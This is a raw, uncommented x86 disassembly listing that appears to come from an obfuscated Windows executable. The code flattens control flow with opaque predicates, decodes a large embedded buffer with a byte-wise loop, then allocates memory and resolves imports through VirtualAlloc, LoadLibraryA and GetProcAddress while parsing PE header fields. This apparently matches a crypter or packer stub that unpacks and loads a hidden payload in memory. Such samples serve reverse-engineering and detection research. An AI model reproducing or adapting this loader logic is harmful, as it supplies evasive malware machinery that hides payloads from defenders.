mov eax, dword [ebp - 0x4987c]
mov eax, dword [ebp - 0x49878]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x4987c]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4981c]
mov eax, dword [ebp - 0x4986c]
mov eax, 0xec49d9d1
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0xd4a7db34
mov ebx, 0x82d92cca
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x82d92cca
jmp 0x40538d
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x47311550
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xcd5a94b3
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x49858]
jmp 0x40565a
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x28da9e98
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x931b9775
jmp 0x404381
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0xf6664ba4
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x1788fb7d
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x49820]
cmovge eax, edi
mov ecx, dword [ecx]
add ecx, 0x50
mov dword [ebp - 0x49920], ecx
jmp 0x4015f0
mov eax, 0x1ba02036
jmp 0x4015f0
mov eax, 0xc5ea5dd7
jmp 0x4015f0
cmp byte [ebp - 0x49887], 0
mov eax, 0x167aab5c
mov ecx, 0x404330b3
cmovne eax, ecx
jmp 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov edi, 0x9ae2c0d7
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4982c]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x498a0]
mov dword [ecx], eax
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x699d828f
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x49890]
mov ecx, dword [ebp - 0x4982c]
cmovge eax, edi
mov ecx, dword [ecx]
mov dword [ebp - 0x498f0], ecx
jmp 0x4015f0
mov eax, dword [ebp - 0x499a0]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x49874]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x49850]
mov dword [ecx], eax
mov ecx, 0x4f65332f
mov eax, dword [ebp - 0x49850]
cmp dword [eax], 0
mov eax, 0xc5ea5dd7
cmove eax, ecx
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0x1f4ebd0
mov edi, 0x28817f54
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x28817f54
jmp 0x405480
mov eax, dword [ebp - 0x498fc]
mov ecx, dword [ebp - 0x49900]
mov ebx, 0x8475c7cb
mov edi, 0x6dd636fb
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x4984c]
mov ecx, dword [ebp - 0x49830]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x498f8]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x49850]
mov eax, dword [ebp - 0x49894]
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x6dd636fb
jmp 0x4015d3
mov eax, 0x94616d50
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0x8706ec3e
mov edi, 0x700165e6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x700165e6
jmp 0x405478
mov eax, 0x82414d07
jmp 0x4015f0
mov eax, dword [ebp - 0x49864]
mov eax, dword [eax]
mov dword [ebp - 0x498ec], eax
mov eax, 0xeac89d06
jmp 0x4015f0
mov eax, 0xf134281f
jmp 0x4015f0
mov eax, dword [ebp - 0x49834]
mov ecx, dword [ebp - 0x49820]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp dword [eax], ecx
mov eax, 0xbe6dd15d
setl byte [ebp - 0x49885]
jmp 0x4015f0
mov eax, dword [ebp - 0x49950]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x49954], eax
mov eax, 0xd846e4e7
jmp 0x4015f0
mov eax, dword [ebp - 0x49898]
mov ecx, dword [ebp - 0x49908]
mov edi, 0x29dd8f26
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x590cefc7
jmp 0x40564d
mov eax, dword [ebp - 0x49850]
mov eax, dword [ebp - 0x4981c]
mov eax, dword [ebp - 0x49858]
mov eax, dword [ebp - 0x4983c]
mov eax, 0xa00d361a
jmp 0x4015f0
mov eax, dword [ebp - 0x49870]
mov eax, 0x78246008
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x238479c1
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x788985e0
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov edx, dword [0x4ad3e4]
mov ebx, 0xbfaa9b
lea ecx, [eax + 1]
imul ecx, eax
mov edi, ecx
xor edi, 0xfffffffe
test edi, ecx
sete al
cmp edx, 0xa
setl ah
xor ah, al
mov eax, 0xc525eeb8
cmovne eax, ebx
test edi, ecx
mov ecx, eax
cmove ecx, ebx
cmp edx, 0xa
mov edx, dword [ebp - 0x49850]
cmovge ecx, eax
mov eax, ecx
mov edx, dword [edx]
mov dword [ebp - 0x498f8], edx
mov edx, dword [ebp - 0x4981c]
mov edx, dword [edx]
mov dword [ebp - 0x4984c], edx
mov edx, dword [ebp - 0x49858]
mov edx, dword [edx]
mov dword [ebp - 0x498fc], edx
mov edx, dword [ebp - 0x4983c]
mov edx, dword [edx]
mov dword [ebp - 0x49900], edx
jmp 0x4015f0
mov eax, 0x8c71826
jmp 0x4015f0
mov eax, dword [ebp - 0x498e8]
mov ecx, dword [ebp - 0x4982c]
mov edi, 0x1e2434f2
mov dword [ecx], eax
mov eax, dword [ebp - 0x49864]
mov eax, dword [ebp - 0x49864]
mov dword [eax], 0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xea4161db
jmp 0x404e32
xor esi, esi
mov eax, 0x6324dc30
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0xa4979c07
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x674642d3
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x49824]
cmovge ecx, edi
mov eax, dword [eax]
mov edx, eax
xor edx, 0xbfffffff
test edx, eax
mov eax, ecx
setne byte [ebp - 0x4988a]
jmp 0x4015f0
mov eax, 0xfe248c92
jmp 0x4015f0
mov eax, dword [ebp - 0x499c4]
movzx ecx, word [ebp - 0x498ce]
mov word [eax], cx
mov eax, 0xcfdf8468
jmp 0x4015f0
mov eax, dword [ebp - 0x49828]
mov dword [eax], 0
mov eax, 0xc98a3eda
jmp 0x4015f0
mov eax, dword [ebp - 0x49834]
mov edi, 0xab233576
mov dword [eax], 0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x46e6b9a1
jmp 0x40564d
mov eax, 0x45f4f5bc
jmp 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov ebx, 0xea12e890
mov edi, 0xc762b4bc
mov eax, dword [eax]
mov dword [ebp - 0x49940], eax
mov eax, dword [ebp - 0x49838]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49840]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
mov dword [ebp - 0x49944], eax
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc762b4bc
jmp 0x405478
mov eax, dword [0x4ad3e8]
mov ebx, 0xe12ab6ac
mov edi, 0x283e6db6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x283e6db6
jmp 0x4015d3
mov eax, 0x1409b564
jmp 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov edi, 0xcd435bb0
mov ebx, 0x47311550
mov eax, dword [eax]
mov dword [ebp - 0x4997c], eax
mov eax, dword [ebp - 0x49820]
mov eax, dword [eax]
add eax, 0x78
mov dword [ebp - 0x49980], eax
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x47311550
jmp 0x40538d
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x49848]
mov ebx, 0x21392091
mov edi, 0xc1d0c47
mov eax, dword [eax]
mov dword [ebp - 0x49908], eax
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xc1d0c47
jmp 0x4015d3
mov eax, 0xfac0411f
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x684fd5e6
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xc706f467
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x49894]
jmp 0x40565a
mov eax, dword [ebp - 0x49968]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x49964]
mov dword [eax], ecx
mov eax, 0xa37b6516
jmp 0x4015f0
mov eax, dword [ebp - 0x49898]
mov ecx, dword [ebp - 0x49908]
vmovsd xmm0, qword [eax]
mov eax, 0xba9485
vmovsd qword [ecx], xmm0
jmp 0x4015f0
push eax
mov eax, esp
mov dword [ebp - 0x49838], eax
push eax
mov eax, esp
mov dword [ebp - 0x49840], eax
push eax
mov eax, esp
mov dword [ebp - 0x4989c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4982c], eax
push eax
mov eax, esp
mov dword [ebp - 0x49864], eax
push eax
mov eax, esp
mov dword [ebp - 0x498a0], eax
push eax
mov eax, esp
mov dword [ebp - 0x49890], eax
push eax
mov eax, esp
mov dword [ebp - 0x49844], eax
push eax
mov eax, esp
mov dword [ebp - 0x49870], eax
push eax
mov eax, esp
mov dword [ebp - 0x49858], eax
push eax
mov eax, esp
mov dword [ebp - 0x4983c], eax
push eax
mov eax, esp
mov dword [ebp - 0x498c0], eax
push eax
mov eax, esp
mov dword [ebp - 0x49874], eax
push eax
mov eax, esp
mov dword [ebp - 0x49868], eax
push eax
mov eax, esp
mov dword [ebp - 0x49830], eax
push eax
mov eax, esp
mov dword [ebp - 0x49894], eax
push eax
mov eax, esp
mov dword [ebp - 0x49850], eax
push eax
mov eax, esp
mov dword [ebp - 0x498cc], eax
push eax
mov eax, esp
mov dword [ebp - 0x49834], eax
push eax
mov eax, esp
mov dword [ebp - 0x4985c], eax
push eax
mov eax, esp
mov dword [ebp - 0x49824], eax
push eax
mov eax, esp
mov dword [ebp - 0x4986c], eax
push eax
mov eax, esp
mov dword [ebp - 0x49878], eax
push eax
mov eax, esp
mov dword [ebp - 0x4987c], eax
push eax
mov eax, esp
mov dword [ebp - 0x49848], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x49880], eax
push eax
mov eax, esp
mov dword [ebp - 0x498a4], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x49898], eax
push eax
mov eax, esp
mov dword [ebp - 0x498c4], eax
push 0x49800
push 0x457230
lea eax, [ebp - 0x49810]
push eax
vzeroupper
call fcn.0043b020
add esp, 0xc
mov eax, 0x1a54a7f1
mov dword [ebp - 0x49814], 0x49800
nop word cs:[eax + eax]
cmp eax, 0x25f41963
je 0x40577d
cmp eax, 0x1a54a7f1
jne 0x404820
lea eax, [ebp - 0x49810]
mov dword [ebp - 0x49818], eax
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x49814]
mov edi, dword [ebp - 0x49818]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x40484e
mov eax, 0x25f41963
jmp 0x404820
mov eax, dword [ebp - 0x49840]
mov eax, dword [eax]
mov dword [ebp - 0x498a8], eax
mov eax, 0x1b124eca
jmp 0x4015f0
mov eax, 0x67fe9532
jmp 0x4015f0
mov eax, dword [ebp - 0x498fc]
mov ecx, dword [ebp - 0x49900]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov ecx, dword [ebp - 0x4984c]
mov ecx, dword [ebp - 0x4984c]
mov ecx, dword [ebp - 0x4984c]
mov ecx, dword [ebp - 0x4984c]
mov ecx, dword [ebp - 0x4984c]
mov ecx, dword [ebp - 0x4984c]
mov ecx, dword [ebp - 0x4984c]
mov ecx, dword [ebp - 0x4984c]
mov ecx, dword [ebp - 0x4984c]
add eax, dword [ebp - 0x4984c]
mov ecx, dword [ebp - 0x49830]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x498f8]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x49850]
mov eax, dword [ebp - 0x49894]
mov eax, 0x31c04d58
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x23158d69
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xc03e7033
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x4983c]
jmp 0x40565a
mov eax, dword [ebp - 0x49870]
mov dword [eax], 0
mov eax, 0x26d51a00
jmp 0x4015f0
mov eax, dword [ebp - 0x49820]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x49914], eax
mov eax, 0x46939ba3
jmp 0x4015f0
mov eax, dword [ebp - 0x49828]
mov eax, dword [eax]
mov dword [ebp - 0x499a4], eax
mov eax, 0xe2c6bed1
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0x8ab447fb
mov edi, 0xd996f575
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd996f575
jmp 0x405480
mov eax, 0x6cfd6410
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0x1d2953cf
mov ebx, 0x1e2434f2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x1e2434f2
jmp 0x404ddf
cmp byte [ebp - 0x49889], 0
mov eax, 0x82828887
mov ecx, 0x7c9a2610
cmovne eax, ecx
jmp 0x4015f0
cmp dword [ebp - 0x49904], 0
mov eax, dword [0x4ad3e8]
mov edi, 0x433574b
mov ebx, 0xa5b5f45d
lea ecx, [eax + 1]
setne byte [ebp - 0x49886]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xa5b5f45d
jmp 0x40538d
mov eax, dword [ebp - 0x4998c]
mov ecx, dword [ebp - 0x49990]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [ebp - 0x49988]
mov ecx, dword [ebp - 0x498c0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x49874]
mov eax, dword [ebp - 0x498c0]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x49994], eax
mov eax, 0xc7a4cc96
jmp 0x4015f0
mov eax, dword [ebp - 0x49834]
mov dword [eax], 0
mov eax, 0x939b6f59
jmp 0x4015f0
mov eax, dword [ebp - 0x4982c]
mov eax, 0x1a89c2bc
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x1d2554f2
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x788985e0
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x4983c]
mov eax, dword [eax]
mov dword [ebp - 0x499a8], eax
jmp 0x40438f
mov eax, 0xb3e02e55
jmp 0x4015f0
mov eax, 0x22c28540
jmp 0x4015f0
mov eax, dword [ebp - 0x4985c]
mov dword [eax], 0x20
mov eax, 0x8bf8d594
jmp 0x4015f0
mov eax, 0xd82334a2
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x2351d731
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x1a89c2bc
jmp 0x40564d
mov eax, 0x6cfd6410
jmp 0x4015f0
mov eax, 0x70193282
jmp 0x4015f0
mov eax, dword [ebp - 0x49938]
movzx eax, word [eax]
mov dword [ebp - 0x4993c], eax
mov eax, 0x3fd4fff2
jmp 0x4015f0
mov eax, dword [ebp - 0x4994c]
mov ecx, 0x15f5fb5d
cmp eax, dword [ebp - 0x49954]
mov eax, 0x289725ec
cmove eax, ecx
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0xf087c5c0
mov edi, 0xc94f0fbe
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc94f0fbe
jmp 0x4015d3
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0xab5fdca0
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x7d59f8a2
cmovne edi, ebx
test edx, eax
movzx edx, word [ebp - 0x498ae]
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
shr edx, 0xc
mov dword [ebp - 0x49960], edx
jmp 0x4015f0
mov eax, dword [ebp - 0x49860]
mov eax, dword [ebp - 0x49860]
mov eax, dword [ebp - 0x49860]
mov eax, dword [ebp - 0x49860]
mov eax, dword [ebp - 0x49860]
mov eax, dword [ebp - 0x49860]
mov eax, dword [ebp - 0x49860]
mov eax, dword [ebp - 0x49860]
mov ecx, dword [ebp - 0x49830]
inc eax
mov dword [ecx], eax
mov eax, 0x7b435c5a
jmp 0x4015f0
mov eax, dword [ebp - 0x49824]
mov eax, dword [eax]
mov dword [ebp - 0x499b0], eax
mov eax, 0x5e47c0b6
jmp 0x4015f0
mov eax, dword [ebp - 0x4985c]
mov dword [eax], 4
mov eax, 0xa1d6a943
jmp 0x4015f0
mov eax, dword [ebp - 0x498f0]
mov edi, 0xfddf7945
mov ebx, 0xfd9a651a
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x49890]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x49844]
mov eax, dword [ebp - 0x4982c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49844]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x49870]
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xfd9a651a
jmp 0x404de7
mov eax, dword [ebp - 0x4983c]
mov dword [eax], 0
mov eax, 0x42609c72
jmp 0x4015f0
mov eax, dword [ebp - 0x49828]
mov dword [eax], 1
mov eax, 0x57b9dbdd
jmp 0x4015f0
mov eax, 0x26d51a00
jmp 0x4015f0
push 4
push 0x3000
push dword [ebp - 0x49910]
push esi
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x4981c]
mov dword [ecx], eax
mov ecx, 0x9d4bdc8a
mov eax, dword [ebp - 0x49854]
cmp dword [eax + 4], 0
mov eax, 0xd09d75be
cmove eax, ecx
jmp 0x4015f0
cmp dword [ebp - 0x4999c], 0
mov eax, 0xb0a459df
mov ecx, 0xaf701b5f
cmove eax, ecx
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0x2e1aee1c
mov ebx, 0x599e181f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x599e181f
jmp 0x404de7
mov eax, dword [0x4ad3e8]
mov edi, 0x13b4abf4
mov ebx, 0xc762b4bc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc762b4bc
jmp 0x404ddf
mov eax, dword [ebp - 0x49934]
mov ecx, 0xbf4a9917
cmp eax, dword [ebp - 0x4993c]
mov eax, 0x58d6cdd3
cmovl eax, ecx
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0xab6aac54
mov ebx, 0x5a50ab6
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x5a50ab6
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4ad3e4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0xa0908e12
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x97df95d2
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
jmp 0x4015f0
mov eax, 0xb71b9323
jmp 0x4015f0
mov eax, dword [ebp - 0x498dc]
mov eax, dword [ebp - 0x498d8]
mov eax, 0x8706ec3e
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0x1b936251
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x6a33d567
jmp 0x405261
mov eax, dword [ebp - 0x498b8]
mov eax, dword [ebp - 0x498b8]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x498bc]
mov eax, dword [ebp - 0x498bc]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x498bc]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x49854]
mov eax, dword [ebp - 0x49820]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49854]
vmovsd xmm0, qword [eax + 0xa0]
mov eax, 0x1b0daeae
vmovsd qword [ecx], xmm0
jmp 0x4015f0
mov eax, 0xccfbcdc4
jmp 0x4015f0
mov eax, dword [ebp - 0x49828]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x49834]
mov eax, 0x840e5632
jmp 0x4015f0
movzx eax, word [ebp - 0x498ae]
mov eax, 0x5f1d68e5
jmp 0x4015f0
mov eax, dword [ebp - 0x49820]
mov eax, 0x64e3b0cc
jmp 0x4015f0
mov eax, dword [ebp - 0x498c8]
mov eax, dword [0x4ad3e8]
mov ebx, 0xd1965297
mov edi, 0xf6664ba4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf6664ba4
jmp 0x405480
mov eax, dword [ebp - 0x4981c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49868]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x49830]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x49894]
mov dword [ecx], eax
mov eax, dword [ebp - 0x49850]
mov eax, dword [ebp - 0x49868]
mov eax, dword [ebp - 0x49830]
mov eax, 0xc706f467
jmp 0x4015f0
mov eax, dword [ebp - 0x498dc]
mov ecx, dword [ebp - 0x498d8]
mov edi, 0x94b1e599
mov ebx, 0x700165e6
cmp ecx, dword [eax]
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
setne byte [ebp - 0x49881]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x700165e6
jmp 0x404de7
mov eax, dword [ebp - 0x49828]
mov dword [eax], 5
mov eax, 0x874de78e
jmp 0x4015f0
mov eax, dword [ebp - 0x49824]
mov edx, 0x167aab5c
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0x4a29ebed
cmove eax, edx
jmp 0x4015f0
mov eax, dword [ebp - 0x49914]
mov eax, dword [eax]
mov dword [ebp - 0x49918], eax
mov eax, 0xede703b1
jmp 0x4015f0
mov eax, 0xc6a867cf
jmp 0x4015f0
mov eax, 0x7b4208ae
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x5b2e85b7
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x283e6db6
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x49824]
cmovge ecx, edx
mov eax, dword [eax]
mov edx, eax
xor edx, 0xdfffffff
test edx, eax
mov eax, ecx
setne byte [ebp - 0x49889]
jmp 0x4015f0
mov eax, dword [ebp - 0x4983c]
mov eax, 0x238479c1
jmp 0x4015f0
cmp byte [ebp - 0x49881], 0
mov eax, 0xd09d75be
mov ecx, 0xe58472bf
cmovne eax, ecx
jmp 0x4015f0
mov eax, dword [ebp - 0x49824]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0x9227f8c2
setne byte [ebp - 0x49888]
jmp 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov eax, dword [eax]
mov dword [ebp - 0x4992c], eax
lea eax, [ebp - 0x49810]
mov dword [ebp - 0x49930], eax
mov eax, 0x6316096f
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0xdc10d532
mov edi, 0xb536cc8a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb536cc8a
jmp 0x405480
mov eax, dword [ebp - 0x49838]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49840]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0x498e4]
push dword [ebp - 0x498e0]
vzeroupper
call fcn.0043b020
add esp, 0xc
mov eax, 0xdc10d532
jmp 0x4015f0
mov eax, 0x93769177
jmp 0x4015f0
mov eax, dword [ebp - 0x498cc]
mov eax, dword [ebp - 0x49834]
mov eax, 0x7c093daa
jmp 0x4015f0
mov eax, dword [ebp - 0x4985c]
mov eax, dword [0x4ad3e8]
mov ebx, 0x1c08a357
mov edi, 0x5dac0942
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x5dac0942
jmp 0x4015d3
mov eax, 0x98c4082e
jmp 0x4015f0
mov eax, 0x8c7fe537
jmp 0x4015f0
mov eax, 0x5b66ea49
jmp 0x4015f0
mov eax, dword [ebp - 0x4985c]
mov dword [eax], 2
mov eax, 0x5cfaadbd
jmp 0x4015f0
mov eax, dword [ebp - 0x49824]
mov eax, dword [eax]
